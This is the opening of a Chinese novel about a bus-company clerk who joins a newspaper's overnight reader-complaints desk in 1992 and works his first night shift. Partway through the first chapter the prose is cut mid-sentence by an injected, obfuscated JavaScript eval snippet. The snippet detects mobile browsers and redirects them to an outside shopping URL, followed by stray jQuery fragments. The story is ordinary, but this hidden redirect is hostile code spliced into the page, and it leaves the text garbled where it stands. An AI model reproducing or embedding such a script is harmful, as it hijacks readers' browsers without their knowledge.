《葵花灯下》 1. 第001章 雨夜调令 雨是从渤海湾深处爬上岸的。起初只是天边一抹灰影,转眼间就长成了千万条透明的爬行动物,沿着街道、屋顶、电线杆蜿蜒而下,把整座内海市舔得湿漉漉、滑腻腻。法桐叶子被拍在柏油路上,叶脉在积水里清晰可见,像被拓印在大地上的青色掌纹。 叶葆启推开公交公司宣传科那扇门时,裤腿吸饱了雨水,沉甸甸地坠着,每一步都能听见水在纤维间挤动的细微声响。伞靠在墙角,雨水顺着伞骨滴落,在地面水泥的裂缝处聚成小小的水洼——那裂缝的形状竟有些像中国地图的轮廓,他想,随即又觉得这联想荒唐。 老陈的脸从报纸后面浮出来,像从深水里缓慢升起的旧日面具。报纸油墨的味道混着他身上陈年的烟草气,在潮湿空气里发酵成一种独特的醇厚,闻着让人想起图书馆地下室那些无人问津的县志。 “葆启啊,”老陈摘下老花镜,镜腿划过耳际的声音在寂静中格外清晰,“淋着了吧?” 叶葆启从帆布包里掏出牛皮纸袋时,手指触到袋角一处柔软——那里被雨水泡化了,指尖能感觉到纸浆正在重新变回树木纤维的触感。“上个月的简报。”他说,声音在雨声里显得单薄。 老陈没有接。他的目光越过叶葆启,看向窗外淋漓的雨幕,仿佛能在那些垂直下坠的水线里读出什么命运的密文。 “你今年三十八了吧?”老陈突然问。 “三十九,下个月满。”叶葆启听见自己的心跳,咚咚,咚咚,像有什么在胸腔里敲门。 “在咱们这儿……多少年了?” “十八年。”他报出这个数字时,舌尖尝到一丝铁锈味,仿佛时间本身是有味道的,“七六年招工进来的,先卖票,后来您把我调来宣传科。” “十八年……”老陈吐出一口气,那气息在空气里凝成白雾,缓缓上升,在日光灯管周围缠绕成奇怪的光晕。他拉开抽屉——抽屉滑轨发出生锈的呻吟——取出一个牛皮纸信封,平推到桌沿,停在将掉未掉的位置。 叶葆启看着那个信封。很薄,薄得像一片风干的蝉翼,透过纸背能隐约看见里面钢笔字洇开的蓝黑色影子。他知道里面是什么。三年前,车队老王收到类似信封的那个下午,天空也是这么灰,雨也是这么下,老王打开信封后,整个人突然缩小了一圈——不是比喻,叶葆启记得清清楚楚,老王那天下午真的比早晨矮了两公分。 “《内海都市报》缺人。”老陈的声音从很远的地方飘来,“市委宣传部从各企业调笔杆子。班子研究,推荐你去。” 叶葆启伸出手。指尖触到信封的瞬间,纸张突然变得滚烫,烫得他几乎缩手。他强忍着抽出来——一张纸,红头文件,两个公章鲜红如血,还在微微搏动,像两颗刚刚摘下的心脏。他的名字“叶葆启”三个字是钢笔填上去的,墨迹在纸张纹理间漫漶开来,边缘长出细小的毛刺,仿佛那三个字正试图从纸上挣脱。 “报社?”他的声音发飘,“我这样的……” “你写的《8路司机回师傅的十五年》,晚报不是转载了?”老陈的声音有了温度,“还给你寄了十五块钱稿费。你记得不,老回用那钱请全车队吃包子,热气腾腾的,吃得大家伙儿满嘴流油,老回笑出一脸褶子,像朵开败的菊花。” 叶葆启想起来了。那天包子蒸笼揭开时,白雾冲天而起,在食堂屋顶盘旋不散,凝成一片小小的云。那云直到傍晚还在,被夕阳染成金黄色,老回仰头看着说:“葆启啊,你写的字变成云彩了。” “群工部是干什么的?”他问,眼睛还盯着那张调令。纸上的红章此刻安静下来,颜色暗了些,像冷却的火山口。 “管读者来信来访,也跑新闻。”老陈起身,走到窗边。雨水在玻璃上蜿蜒爬行,画出谁也看不懂的符咒。“白天叫接待室,晚上七点到早晨七点,是夜间记者站。葆启啊,这工作有意思——你会听见这座城市在夜里说什么梦话,会看见它卸了妆后是什么模样。” 叶葆启把调令叠好。对折,再对折,折成一个四四方方的小块,刚好能握在掌心。纸张在他手里微微发烫,像一个活着的小动物。 “我得回家跟素琴商量。”他说。 “素琴肯定支持。”老陈背对着他,声音混在雨声里,“她街道办调解的那些事儿,桩桩件件都是人间的戏文。她懂。” 叶葆启点点头,把烟摁灭在搪瓷烟灰缸里。烟头滋啦一声,爆出一小簇火星,在灰烬里短暂地亮了一下,旋即熄灭。起身时,他感觉到膝盖骨深处传来细碎的咔嚓声,像冻土在春日里开裂——那是十八年久坐落下的毛病,每逢雨天就发作。 走出门,雨还在下。他撑开伞,黑色的布面在雨点击打下微微凹陷,像一只巨大的、倒扣的耳朵,在聆听天空的诉说。调令揣在胸口内兜,紧贴着皮肤,纸张随着心跳轻微起伏,一下,一下,像第二颗心脏。 经过公交总站时,他停下脚步。车场上停着几十辆公交车,红的、蓝的、黄的,在雨幕中静静站立,水珠顺着车身曲线滑落。3路车的张师傅总在方向盘旁挂个平安符,符上的朱砂遇水会晕开,把整个驾驶座染成淡红色;7路车的李大姐爱唱评剧,她的歌声渗进座椅海绵,夜里无人时,那些座椅会发出细微的哼唱;11路车的老赵,儿子去年考上了大学,他在车厢贴了张中国地图,每开一站,就在地图上扎一个小孔…… 明天不用来这儿了。 这个念头像一把生锈的钥匙,突然捅开了记忆的某扇暗门。他听见二十三岁那年自己第一次上车的喊声:“上车请买票,月票请出示!”那声音年轻、清亮,此刻在雨中回荡,从时间的深处传来,像隔着一层厚厚的毛玻璃。还有那个总给他带鸡蛋的老太太,她的小手绢上绣着歪歪扭扭的荷花,每次递鸡蛋时,她的手都在抖——现在想来,那不是因为老,而是因为帕金森病。去年听说她去世了,死在去水上公园的路上,手里还攥着给孙子的煮鸡蛋。 叶葆启加快脚步,拐进平安胡同。胡同里的积水没过了脚踝,水面上漂着烂菜叶、烟盒、用过的避孕套、一只塑料凉鞋。积水倒映着灰蒙蒙的天空,倒影里,云在缓慢地变形,一会儿像马,一会儿像船,一会儿像一张哭泣的人脸。他踩着水往前走,每一步都踏碎一片天空。 他家在胡同最里头。推开门时,屋里的景象让他愣了一秒——妻子素琴正在摘韭菜,但那些韭菜在她手中发出莹莹的绿光,每一根都通透如翡翠,叶脉里流淌着液态的光。五岁的儿子小舟趴在桌上画画,铅笔在纸上沙沙作响,画出来的线条竟从纸上浮起,在空气中扭动,像透明的蚯蚓。 “回来了?”素琴抬头,手里的韭菜恢复正常,变回普通的、沾着泥土的蔬菜。 叶葆启眨眨眼,幻觉消失了。他把那个滚烫的信封递过去。 素琴在围裙上擦手——围裙是蓝底白花的,洗得发白,那些白色的小花在无数次搓洗中几乎褪尽,只剩下淡淡的印痕,像记忆里模糊的旧事。她接过信封,指尖在“调令”两个字上停留。她不识字太多,但认得这两个字,在街道办调解离婚协议、房产纠纷、赡养官司时,这两个字总是出现在最关键的文件上。 她抽出纸,看了很久。雨声在窗外敲打着节奏,嘀嗒,嘀嗒,像在给她的阅读计时。终于,她抬起头,眼睛里有什么东西在燃烧——不是比喻,叶葆启真切地看见她瞳孔深处跃动着两小簇蓝色的火苗。 “报社?”她的声音很轻,轻得像怕惊扰什么,“你要去报社了?” “嗯。下周一报到。” 素琴手里的韭菜掉进盆里,溅起几滴水珠。那些水珠在空中缓缓上升,悬浮了片刻,才落回盆中,发出清脆的叮咚声。她抓住叶葆启的胳膊,抓得很紧,指甲透过布料嵌进皮肤,留下五个半月形的白印——那些白印很久才慢慢泛红。 “好啊!”她说,声音开始发抖,“葆启,这是好事!天大的好事!” 小舟抬起头,铅笔还咬在嘴里。铅笔芯在牙齿间留下黑色的痕迹,像一个小小的刺青。“爸爸要去哪儿?” “去报社,当记者。”素琴的声音抖得更厉害了,那两簇火苗在她眼中跃动,映得整个脸庞发亮,“写文章,登在报纸上,全市人都能看见。” 小舟眨眨眼,吐掉铅笔:“像《小灵通漫游未来》那样?” “比那个还好。”叶葆启摸摸儿子的头。孩子的头发柔软,在指尖的触感像新生的蚕丝,还带着阳光晒过的暖意,“小灵通漫游的是未来,爸爸要写的是现在。” 那晚他们吃了韭菜盒子。素琴多放了个鸡蛋,打蛋时,蛋黄落在碗里,圆润饱满,在灯光下像一个小小的太阳。面皮在铁锅里煎得滋滋作响,油烟升腾,在天花板上凝结成一层薄薄的、闪着油光的云。叶葆启吃得很慢,咀嚼时能听见韭菜纤维断裂的细微声响,清脆,密集,像远方的雨声。 饭后,他找出那本塑料皮笔记本。塑料皮已经发黄变脆,边缘卷曲,摸着像干燥的蝉翼。翻到最后一页,蓝色的圆珠笔字迹记录着他发表过的每一篇文章:标题、日期、稿费数额。字迹工整,每个数字都写得一丝不苟,像在供奉什么神圣的账目。最多的一笔就是《8路司机回师傅的十五年》,十五块。那天老回请客,包子热气把食堂窗户都蒙白了,大家在白雾里吃着,笑着,老回的脸在蒸汽中若隐若现,像一尊正在融化的蜡像。 他在新的一页写下:“1992年10月12日,调往《内海都市报》群工部。”笔尖在纸上顿了顿,墨水聚成一个小小的圆点,那圆点慢慢洇开,边缘长出细密的绒毛,像一颗黑色的种子。他又加了一句:“新的开始。”写完这四个字,笔尖突然一轻,仿佛卸下了什么重负。 躺下时已经十一点。雨停了,月亮从云缝中钻出来,月光透过窗户,在墙上投下窗棂的影子。那些影子不是静止的——它们在缓慢地移动、变形,一会儿像栅栏,一会儿像牢笼,一会儿又散开,变成一片晃动的光斑。素琴背对着他,肩膀轻轻抽动。叶葆启知道她在哭,但他听见的哭声很奇怪,不是呜咽,而是像瓷器碎裂的细微声响,清脆,连续,叮叮当当。 “哭什么?”他轻声问。 “高兴。”素琴转过身,脸上果然没有泪痕,只有眼角闪着细碎的光,像撒了一层碾碎的玻璃粉,“葆启,你有本事,不该在公交公司窝一辈子。去了报社,好好干。” “我脾气直,怕得罪人。” “那就得罪。”素琴握住他的手。她的手心很暖,暖意顺着手臂往上蔓延,一直传到心口,把那里的一小片寒冷融化,“写文章的人,骨头不硬写不出好东西。你记着,咱们不害人,不怕事。该写的就写,该说的就说。要是写出来的字能在纸上站起来,走出去,那才叫真本事。” 叶葆启嗯了一声。窗外传来猫叫声,悠长,凄厉,一声接一声,像在呼唤什么永远等不到的回应。他想起父亲——那个参加过抗美援朝的老兵,转业后在国棉厂当保卫科长。父亲话不多,但常说:“做人要正,做事要实。”说这话时,父亲总是望着远方,目光穿过工厂的围墙、穿过城市的屋顶、穿过时间的帷幕,看向某个叶葆启永远看不见的地方。父亲去世那年,他十九岁,攥着父亲冰凉的手,那只手曾经握过枪,握过锄头,最后握成了永恒的僵硬。在最后的时刻,父亲的手突然动了一下,食指在他掌心划了三道——后来他才明白,那是一个“川”字,父亲的名字里有个“川”字。 现在机会来了。像石缝里突然长出的蘑菇,潮湿,新鲜,带着泥土和腐殖质的气息,在无人注意的角落里默默撑开菌盖。 周一早晨,叶葆启穿上最好的衣服——一件深蓝色中山装,洗得发白,但熨得笔挺,折痕锋利得能割破手指。素琴给他煮了碗面,卧了两个鸡蛋,蛋黄圆润,蛋白凝实,在清汤里微微晃动,像两枚沉在水底的月亮。“吃饱了,精神。”她说,往面里撒了一小把葱花。葱花在热汤里舒展,散发出辛辣的香气,那香气钻进鼻腔,直冲脑门,让他整个人清醒过来。 《内海都市报》社在解放北路,一栋五层红砖楼。楼有些年头了,红砖表面布满雨痕,像老人脸上的泪沟。砖缝里长着暗绿色的苔藓,那些苔藓在晨光中泛着湿漉漉的光,仿佛整栋楼都在缓慢地呼吸。叶葆启在门口站了两分钟,看着人们进进出出。男的夹着公文包,脚步匆匆,包里的钢笔和钥匙碰撞,发出清脆的金属声;女的穿着各式衣服,裙摆飞扬,高跟鞋敲击地面,哒哒哒,像在给城市的心跳打拍子。他们都带着一股劲儿——那是知道自己在时间洪流中的位置、知道自己该往哪里去的劲儿。 他深吸一口气,走进去。门厅里弥漫着油墨和纸张的味道,还有淡淡的氨水味——那是印刷机清洗液的气味。这些味道混合在一起,形成一种独特的氛围,厚重,沉稳,像陈年的酒。 门卫是个老大爷,戴着老花镜看报纸。报纸举得很近,几乎贴在鼻尖上,他的眼睛在镜片后眯成两条细缝,瞳孔里倒映着密密麻麻的铅字。“找谁?”他的声音沙哑,像砂纸摩擦木头。 “报到。群工部。” 老大爷从眼镜上方瞅他一眼,目光锐利,仿佛要把他从里到外透视一遍。“三楼,右拐最里头。”他顿了顿,又补充一句,“那层楼的木地板会说话,走路轻点,别吵醒它们。” 楼梯是木头的,踩上去咚咚响。叶葆启放轻脚步,但木板还是在他脚下发出呻吟——不是痛苦的呻吟,而是那种慵懒的、刚刚醒来的哼哼声。三楼走廊很长,两边都是办公室,门开着,能看见伏案写字的人,听见打字机的哒哒声。那声音密集而坚定,像无数只勤劳的昆虫在啃食时间的树叶。空气里的烟味更浓了,不是“大前门”,是更好的烟,那种烟味里带着思考的气息,辛辣中有一丝回甘。 群工部的门牌是块小木牌,毛笔字写得苍劲有力,墨迹深深吃进木头纹理里,像刻上去的。他敲了敲门。 “进。” 推开门,屋里六张桌子,坐了五个人。一个五十多岁的男人从靠窗的桌子后站起来,中等个子,头发花白,但梳得一丝不苟,每一根都服服帖帖地待在它该在的位置。他戴一副黑框眼镜,镜片很厚,透过镜片看他的眼睛,会发现那眼睛比实际尺寸大了一圈,像两汪深潭。 “你是叶葆启?” “是。” “我是陈秉烛,群工部主任。”男人伸出手,“欢迎。” 手很有力,握上去时能感觉到对方掌心的硬茧——那不是干粗活留下的茧,而是常年握笔磨出的茧,位置在食指第一节和中指侧边,形状规则,像两枚小小的勋章。叶葆启自己的手上也有,但没这么厚实。 陈秉烛向其他人介绍:“新同事叶葆启,从公交公司调来的。葆启,这位是解平生,这位是孙荣显,这位是赵宛芳,这位是曹东方。” 大家都点头致意。解平生四十多岁,国字脸,肩膀宽阔,坐在那里像一尊石狮子,沉稳,厚重。孙荣显三十出头,文质彬彬,鼻梁上架着金丝眼镜,镜片后的眼睛很亮,看人时微微眯起,像在调焦距。赵宛芳和曹东方都是二十多岁的小伙子,脸上还带着刚出校门的稚气,但眼睛里已经有一种锐利的光——那是猎食者发现目标时的光。 “你的桌子在那儿。”陈秉烛指指靠门的一张空桌。桌子很旧,桌面上有深深浅浅的划痕,那些划痕交织成复杂的图案,像地图,又像星图。桌面中央有一块颜色特别深的区域,是常年伏案写字时手臂压出来的,那区域的木头纹理已经模糊,摸上去光滑如镜。“先熟悉熟悉。咱们群工部管读者来信来访,也负责突发新闻。白天叫接待室,晚上七点到第二天早晨七点,是夜间记者站,两人一组值班。” 叶葆启走到桌前。桌子上有个绿色台灯,灯罩是荷叶形的,边缘已经破损,露出里面的铁丝骨架;一个笔筒,陶制的,表面有冰裂纹,插着几支钢笔和铅笔,笔尖朝上,像等待发射的箭;一沓稿纸,纸边微微发黄,但切割整齐,码放得一丝不苟。他坐下,椅子吱呀一声,那声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904153|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音在安静的办公室里格外清晰,像一声悠长的叹息。 陈秉烛递过来一摞信:“今天你先看看读者来信。重要的挑出来,需要回复的拟个草稿。” 信很多,牛皮纸信封,大小不一,厚薄不均。叶葆启拆开第一封,是个退休屈星群工人写的,反映楼下饭馆油烟太大,“熏得我家窗台上的月季花都蔫了,花瓣一碰就掉,像得了痨病”。第二封是个叫屈超中学生,说学校乱收费,“班主任说这是自愿,可谁敢不自愿?不自愿的下周座位调到最后一排,黑板上的字都看不清”。第三封是个叫邢素英的老太太,儿子不孝顺,“三年没来看我了,我腿脚不好,想去看看他,走到半路摔了一跤,现在还在床上躺着。我不怪他,他忙,就是夜里做梦,总梦见他小时候,趴在我膝盖上,让我给他掏耳朵”…… 他一封封看下去。这些信来自内海市的各个角落,信封上的邮戳形状各异,墨色深浅不一。有的信纸是单位信笺,印着红头;有的是作业本上撕下来的,还带着横线;有的是挂历背面,翻过来能看到去年的月份和星期。字迹也千差万别:有工整的楷书,有潦草的草书,有歪歪扭扭像醉汉走路的,还有用左手写的——那些字全部反向,得对着镜子才能读。油渍麻花的信纸上,是一个个具体的人生,是这座城市的毛细血管里流动的真实的血,温的,咸的,带着铁锈味。 中午,解平生拍拍他肩膀。那只手很大,拍在肩上沉甸甸的,像盖了个章。“走,吃饭去。” 食堂在一楼。打饭的队伍排得很长,弯弯曲曲,像一条慢慢蠕动的巨蟒。解平生边走边给他介绍:“咱们报社伙食不错,尤其包子,比那天津狗不理的不差——这话你可别外传,让天津人听见了得跟咱急。” 轮到他们时,叶葆启要了俩包子,一碗稀饭。解平生则要了四个包子,外加一份红烧肉,肉块油亮亮的,在搪瓷盘里颤巍巍地晃动,表面那层酱汁在灯光下泛着琥珀色的光。“我得吃得多,晚上要值班。” “值班很累?”叶葆启问。 “累,但有意思。”解平生咬了口包子,汤汁顺着嘴角流下来,他赶紧用手背擦掉,手背上留下一道油亮的痕迹,“夜里来的都是急事、怪事。喝醉的、丢孩子的、夫妻打架的、见了鬼的……啥都有。上个月还有人来说他家母鸡下了个带字的蛋,非让咱们去看看。我去了,蛋壳上真有几个模糊的痕迹,像字又不像字。老太太说那是‘天下太平’,我说那是鸡爪子踩的泥印子。” 孙荣显也端着饭过来坐下,他的盘子里是青菜和豆腐,很清淡。“葆启,听说你在公交公司写过不少东西?” “都是内部简报,上不了台面。” “别谦虚。陈主任说看过你写的《8路司机回师傅的十五年》,写得实在,有温度。”孙荣显用筷子轻轻戳着豆腐,豆腐颤动着,但保持完整,“写东西啊,最难的就是有温度。冷冰冰的文字谁不会写?把人心写热了,那才叫本事。” 叶葆启心里一暖。那感觉很奇怪,像胸腔里突然点亮了一盏小灯,暖黄色的光透过肋骨缝隙漏出来,把周围一小片空气都烤暖了。被人记得作品,是写东西的人最开心的事,像农人看见自己种的庄稼被人夸赞长得好,那种喜悦是扎根在泥土里的,踏实,厚重。 下午,陈秉烛叫他过去:“葆启,晚上你跟我值夜班。熟悉熟悉夜间记者站的工作。” “好。” “夜里冷,多穿点。咱们这儿没暖气,只有个煤炉子。”陈秉烛从抽屉里拿出个厚厚的笔记本,深蓝色封面,边角已经磨白,露出里面的纸板层。他把本子递给叶葆启,“这是值班记录本,每个来电来访都要记。重要的马上处理,该联系哪个部门就联系哪个部门。记着,咱们是记者,不是接线员——每一条线索背后,都可能藏着故事,有的故事能写一篇通讯,有的能写一部小说。” 叶葆启接过本子。很重,比看上去重得多,像里面压着无数个未说完的夜晚。他翻开,第一页写着:“1992年1月15日,夜。来电37个,来访5人……”字迹各异,有的工整如印刷体,有的潦草如疾风中的草书,还有的用的是左手反写——那是解平生的字,他说这样能锻炼右脑。记录的事情五花八门:海东区暖气不热,老人冻得睡不着,数了一夜天花板上的裂缝,一共287条;海西区路灯坏了,已经摔了三个人,第一个摔掉了门牙,第二个摔破了头,第三个摔断了腿;有个叫张学明的要跳楼,现在还在劝,那人在楼顶唱歌,唱的是《莫斯科郊外的晚上》,跑调跑得厉害;老太太猫丢了,那是她儿子商亮生前留给她的,猫叫“毛毛”,尾巴尖有一撮白毛…… “这些都是新闻线索。”陈秉烛说,手指在记录本上轻轻敲了敲,指甲敲击纸面发出笃笃的声响,像敲门声,“有的能写成消息,有的要深入调查。记者嘛,眼睛要尖,耳朵要灵,心要热。心不热,写出来的东西就是凉的,没人爱看。但心太热,又容易烧着自己——这个度,你得慢慢琢磨。” 叶葆启点头。他突然觉得,这个工作比写简报有意思得多。简报是总结成绩,是给过去描眉画眼,涂脂抹粉;这里却是直面问题,是给现在把脉问诊,听城市的肺腑之音,甚至要给未来开药方——虽然那药方未必有人照抓。 傍晚六点半,白班的人陆续走了。办公室渐渐空下来,日光灯发出轻微的嗡嗡声,那声音在寂静中放大,像远方传来的蜂群。陈秉烛拎来一壶开水,往两个搪瓷杯里各捏了把茶叶。茶叶是茉莉花茶,干枯的叶片在热水里缓缓舒展,渐渐恢复生机,在水中上下沉浮,像一群重获自由的小鱼。茉莉花的香气随着蒸汽升腾,在空气里弥漫开来,清新,微甜,冲淡了油墨和烟草的味道。 “晚上喝茶提神。葆启,你抽烟吗?” “抽。大前门。” 陈秉烛从兜里掏出盒“恒大”,比大前门贵,烟盒是深蓝色的,上面印着金色的字,在灯光下闪闪发亮。“抽我的。夜里长,好烟顶时候。” 叶葆启接过烟。点上,第一口吸进去,烟雾在肺里转了一圈,再缓缓吐出来。烟雾在灯光下袅袅升起,盘旋,扭曲,变幻出各种形状——一会儿像马,一会儿像船,一会儿像一张哭泣的人脸,最后散开,融进办公室的空气里,成为这夜晚的一部分。 窗外,内海市华灯初上。解放北路上车流如织,红色的尾灯连成一条流动的河,那河水缓缓流淌,从城市的心脏流向外围,再流回心脏,周而复始。霓虹灯次第亮起,广告牌上的彩灯闪烁着,变换着颜色和图案。而在五层红砖楼的小房间里,煤炉刚刚生起,炉膛里的煤块开始发红,散发出干燥的热气。一场关于这座城市的夜间叙事,刚刚拉开帷幕。 他不知道,这个雨夜调令开启的,将是一段持续二十三年的传奇。他会在这里见证内海市的变迁,记录普通人的悲欢,也会在未来的某个夜晚,在罗布泊的星空下思考生命的意义——那些都是后话了。此刻,在时间河流的这一小段截面上,他只是一个三十九岁的新记者,坐在旧桌子前,翻开值班本新的一页,准备记下第一个夜班的第一通电话。 钢笔握在手里,沉甸甸的。他拧开笔帽,笔尖在灯光下闪着寒光。笔尖触到纸面,停顿,然后开始移动: “1992年10月19日,夜。19:03,中心区居民单力鹏来电,反映楼下烧烤摊噪音扰民至凌晨,多次反映未果。已联系中心区城管值班室,承诺今晚处理。” 笔尖在纸上沙沙作响,那声音细密,绵长,像春蚕食叶,也像细雨润土,更像这座城市夜晚的心跳——微弱,但持续,一声一声,敲打着时间的鼓面。 新的生活开始了。在雨夜里发芽,在油墨中生长,在一张张稿纸上蔓延成一片文字的森林。而他,叶葆启,刚刚走进这片森林的边缘,手里只有一支笔,和一腔尚未冷却的热血。窗外的城市继续它的夜晚,车流,灯光,人声,渐渐远去,只剩下这个房间,这一盏灯,这一支笔,和这永不停息的、沙沙的书写声。 2. 第002章 第一个夜班 电话撂下后,陈秉烛用火钳子夹起块蜂窝煤,那煤块沉甸甸、黑黢黢的,像一块压缩了的漫漫长夜。蓝幽幽的火苗子从煤眼的孔洞里猛地探出头,贪婪地舔着黑铁皮的炉壁,发出细微的咝咝声,仿佛在咀嚼着这北方的寒气。 “记全乎了?”陈秉烛的声音像被炉火烤过,带着粗粝的暖意。 “全乎了。”叶葆启把本子推过去。纸页上,墨迹还未干透。 陈秉烛扫了几眼,下颌的线条在昏黄灯光里松动了些:“不赖。时辰、人物、疙瘩、解扣的法子。老百姓的事儿,顶要紧的是‘有响动’。就算搬不动山,也得让人听见你使了劲,吭哧了,喘气了。” 叶葆启摸出烟,递过去一支。两人就着炉火点着了,烟雾升起来,并不散去,倒像两条有了年岁的魂,在光线里慢悠悠地绞缠、厮磨,最后融进那被经年烟油子腌透了的空气里。 “陈主任,”叶葆启望着那纠缠的烟,“咱这夜里听声儿的摊子,一年得收进多少动静?” “去年,”陈秉烛眯着眼,烟灰弹进炉口,噗地溅起一小簇星火,“一万两千多个。摊到每个晚上,三十几个跑不了。节庆时多,刮风下雨时多,三伏天比数九天多——人心里窝着火,太阳底下一晒,夜里就得找窟窿眼往外冒。” 话音像刚落进灰里的烟蒂,那电话铃声又猛地炸开了。这回是个女声,尖利得能刮破耳膜,又带着股豁出去的凄惶:“你们管不管?楼上那家,天天半夜剁魂儿呢!咚!咚!咚!我这心都要从腔子里蹦出来了!” 叶葆启笔下沙沙响:22:17,鸿运区刘氏,噪音索命。陈秉烛问得细,门牌号,几楼,剁了多久,那耐心劲儿像在解一团乱麻。末了说:“刘大姐,这声响归穿警服的管。我给您个号码,您直接叨咕,就说是夜间记者站递过去的话头,他们掂量着。” 挂了,陈秉烛搓了搓脸,脸上映着炉火的红光:“这种事儿,咱就是个传话的筒子。可筒子也得是通的,不能这边进了,那边堵死,让话烂在肚子里。” 叶葆启在本子上写:“转派出所。”笔尖顿了顿,在旁边画了个小小的五角星,像给自己心里摁了个钉。 近子夜时,电话稀了。陈秉烛捅开两碗“华丰”三鲜伊面,滚水冲下去,那股子霸道的人造鲜香猛地膨胀开来,几乎要挤走屋里的烟味。 “垫巴点,后半夜怕有客闯门。”陈秉烛递过筷子,竹筷头被磨得光滑。 叶葆启接过,那股熟悉又陌生的气味,却猛地把他拽回了公交公司的夜班房。也是这味儿,可那时面是素琴煮好了,用铝饭盒捂着送来,汤里总卧着个荷包蛋,蛋心还是软的,边上漂着几叶嫩青菜,像池塘里小小的船。 “琢磨家了?”陈秉烛的眼毒,像是能看见人脑子里转的影儿。 “嗯,沾点。”叶葆启咧咧嘴,“以前夜里蹲班,孩儿他娘总送一口热的。” “有根的人了?” “嗯,小子,五岁了,皮得像孙猴子。” “那你是挑着扁担呢,前头小,后头老。”陈秉烛吸溜一口面,声音很响,“吃这碗饭,家就成了客栈。我闺女,今年撞大运(高考),我陪她的工夫,攒一块儿怕不到一个月。” 两人对着头吃面,呼噜声此起彼伏。窗外的城市像一头巨兽,渐渐收拢了爪牙,沉入混沌的睡眠。只有那盏绿罩子台灯还醒着,灯罩边上一圈黄褐的渍,是无数个夜晚的烟魂儿留下的吻痕。 凌晨一点,门被敲响了。不是电话那种急促的电子尖叫,是实实在在的肉指关节叩在木头上的声音,空洞而固执。 陈秉烛起身,门轴发出老人叹气般的吱呀声。进来个年轻女人,约莫二十七八,裹着件挺括的呢子大衣,头发烫成绵密的卷,堆在头上像朵乌云。脸擦得白,白得有些瘆人,嘴唇却涂得极红,仿佛刚吮过血。 “记者同志……在么?”声音飘忽着,像脚不沾地。 “在。您请进。”陈秉烛侧身。 女人坐下,从手提包里摸出盒“摩尔”烟,细长,带过滤嘴。点烟时,手指颤得厉害,火苗几次凑不近烟头。 “我叫刘清。”她吐出一口烟,烟雾笼住她煞白的脸,使她看起来像庙里褪了色的纸偶,“我要告状。海东区,红星饭庄,黑店!一盘炒肝尖,敢要十五块!这不是炒菜,这是割肉!” 叶葆启翻开新的一页。陈秉烛问:“几时去的?几个人?有纸片子(发票)么?” “就今晚,就我自个儿。”刘清的语速快起来,“纸片子?他们不给!我一要,就说机器咽了气,开不了!” 陈秉烛点点头:“这事,秤杆子在物价局手里。明儿您可以去递状子,也能拨那个号,12358。” “不成!”刘清的嗓门陡然拔高,像一根崩断的弦,“你们得现在就去!现时现刻就登报!你们得替小民出声!” 叶葆启抬起眼。女人的眼里烧着两簇奇异的火,亮得骇人,那光不像为了一盘炒肝尖,倒像怀里揣着个快要炸开的秘密。 陈秉烛的脸仍像一块被岁月磨平了的石头:“刘同志,饭庄这辰光早落锁了,我们去也是吃闭门羹。这么着,您留个线头(联系方式),明日天一亮,我们就遣人去盘查,行不?” “不行!!”刘清霍地站起,身子有些晃,“你们不去,我……我就给我姑姑挂电话!让我姑姑跟你们说道!” “您姑姑是?” “我姑姑是赵四小姐!”她挺了挺并不丰满的胸脯,仿佛那名字是副盔甲,“张学良的赵四小姐!她在美利坚,一个电话过去,能让那边的报纸电台都评理!” 叶葆启的笔尖猛地一顿,一滴浓黑的墨水落在纸上,慢慢泅开,像一只突然睁开的、不眠的眼睛。他看向陈秉烛。陈秉烛脸上那古井般的平静,连一丝波纹都没有,只是缓缓点了点头。 “赵四小姐啊,”他的声音像在唠家常,“那您可得仔细说道说道。她老人家,今年仙寿?” “七……七十多了吧。”刘清的眼神开始游移,像找不到落脚点的蛾子。 “那您是她的亲侄女?” “那还有假?我爹是她亲兄弟!”话越说越快,像失控的车轱辘,“我姑姑顶疼我,我要星星不给月亮。这回我来内海访友,饭庄欺我,就是欺我姑姑!欺我们赵家的门楣!” 叶葆启在纸上写:“自称赵四小姐侄女。”笔迹有些虚浮,又添上:“言急色厉,语序纷乱,似有癫狂之兆。” 陈秉烛等她那股劲头泄了些,才不紧不慢地开口:“刘同志,赵四小姐要是晓得您在內海受了屈,心尖儿都得疼。这么着,您把那友人的住处、名号留下,明日我们寻着他,一块儿帮您把这疙瘩解开。” “友人?”刘清愣了一刹,眼里的火苗暗了暗,“哦对,我友人……他住……” 她报了个海西区的地址。陈秉烛记下,又问:“您友人,上下怎么称呼?” “姓崔……崔金龙。”她答得有些迟疑,“在纺织厂,扛活。” “成,记下了。”陈秉烛起身,“夜太深了,我给您喊辆‘跛驴’(三轮车)?” “不消!”刘清一摆手,手在空气里划了道无力的弧,“我自個儿走。你们必须登报,不登,我真给我姑姑挂越洋电话!” 她走了,高跟鞋敲在水泥走廊上,嘚嘚嘚嘚,一声比一声急,一声比一声空,渐渐被浓稠的夜色吞没,仿佛从未出现过。 门关上,叶葆启长长吁出一口气,那气在冷空气里凝成一道白霜。 “假的?”他问,声音有些干。 “十有八九,”陈秉烛坐回炉边,炉火映得他半边脸通红,“赵四小姐要有这般年纪的侄女,她兄弟怕不是老树开花。再者,她话里露的怯,缝儿大得能跑马车。” “那……咱还揽这瓷器活?” “揽。”陈秉烛说得干脆,“饭庄宰客,许是真的。至于她是谁的枝儿谁的蔓儿,不打紧。老百姓递过来话,咱就试着解。真与假,是另一本账。” 叶葆启在记录末尾写下:“允诺日间查访。来者神思恍惚,建议留意其心神安稳。”写罢,他看着那团墨渍,越看越像一只窥视的眼睛。 凌晨两点,来了个醉汉。四十多岁模样,浑身酒臭像是从毛孔里渗出来的,说话舌头打着铁,非说骑车过瓦房街时,被个黑影扇了巴掌,缠着记者去抓那“无影手”。 